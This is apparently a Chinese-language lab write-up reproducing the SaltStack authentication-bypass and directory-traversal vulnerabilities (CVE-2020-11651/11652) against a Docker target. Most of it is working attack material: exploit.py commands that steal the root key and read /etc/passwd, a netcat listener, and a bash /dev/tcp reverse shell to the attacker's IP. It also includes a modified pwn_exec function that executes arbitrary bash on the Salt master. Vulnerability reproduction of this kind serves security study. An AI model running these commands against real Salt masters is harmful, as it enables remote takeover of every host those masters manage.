SaltStack是基于Python开发的一套C/S架构配置管理工具,是一个服务器基础架构集中化管理平台,具备配置管理、远程执行、监控等功能,基于Python语言实现,结合轻量级消息队列(ZeroMQ)与Python第三方模块(Pyzmq、PyCrypto、Pyjinjia2、python-msgpack和PyYAML等)构建。
国外某安全团队披露了SaltStack存在认证绕过漏洞(CVE-2020-11651) 和目录遍历漏洞(CVE-2020-11652)。
在CVE-2020-11651认证绕过漏洞中,攻击者通过构造恶意请求,可以绕过Salt Master的验证逻辑,调用相关未授权函数功能,从而可以造成远程命令执行漏洞。在CVE-2020-11652目录遍历漏洞中,攻击者通过构造恶意请求,读取服务器上任意文件。通过对这两个漏洞的利用可以实现RCE的效果,在控制salt-master之后,通过salt大面积控制在运维系统下的主机。
影响版本:
SaltStack < 2019.2.4
SaltStack < 3000.2
安全版本:
2019.2.4
3000.2
靶机(172.22.8.14):
docker pull vulfocus/saltstack-cve_2020_11651
# 拖取镜像
docker run -d -p 4506:4506 -p 4505:4505 vulfocus/saltstack-cve_2020_11651
# 启动容器
poc链接:
https://github.com/jasperla/CVE-2020-11651-poc
pip3 install salt==3000.1
#安装salt模块
python3 exploit.py -m 172.22.8.14
#读取key
python3 exploit.py -m 172.22.8.14 -r /etc/passwd
#读文件
本地(172.22.1.102)监听4444端口:
nc -lvp 4444
攻击机执行
python3 exploit.py -m 172.22.8.14 --exec "bash -i >& /dev/tcp/172.22.1.102/4444 0>&1"
这里有几个坑要说一下,首先是docker 容器内访问宿主机“No route to host”的问题,依次执行以下命令可以解决:
nmcli connection modify docker0 connection.zone trusted
systemctl stop NetworkManager.service
firewall-cmd --permanent --zone=trusted --change-interface=docker0
systemctl start NetworkManager.service
nmcli connection modify docker0 connection.zone trusted
systemctl restart docker.service
然后是GitHub上exp执行命令调用的是python,docker里没有python环境,需要修改代码如下(不同的exp可能不一样,大同小异):
def pwn_exec(channel, root_key, cmd, master_ip, jid):
print("[+] Attemping to execute {} on {}".format(cmd, master_ip))
sys.stdout.flush()
msg = {
'key': root_key,
'cmd': 'runner',
'fun': 'salt.cmd',
'saltenv': 'base',
'user': 'sudo_user',
'kwarg': {
'fun': 'cmd.exec_code',
#'lang': 'python',
'lang': 'bash',
#'code': "import subprocess;subprocess.call('{}',shell=True)".format(cmd)
'code': "{}".format(cmd)
},
'jid': jid,
}
参考链接:
https://www.freebuf.com/articles/system/178150.html
https://github.com/dozernz/cve-2020-11651
https://github.com/bravery9/SaltStack-Exp
https://github.com/jasperla/CVE-2020-11651-poc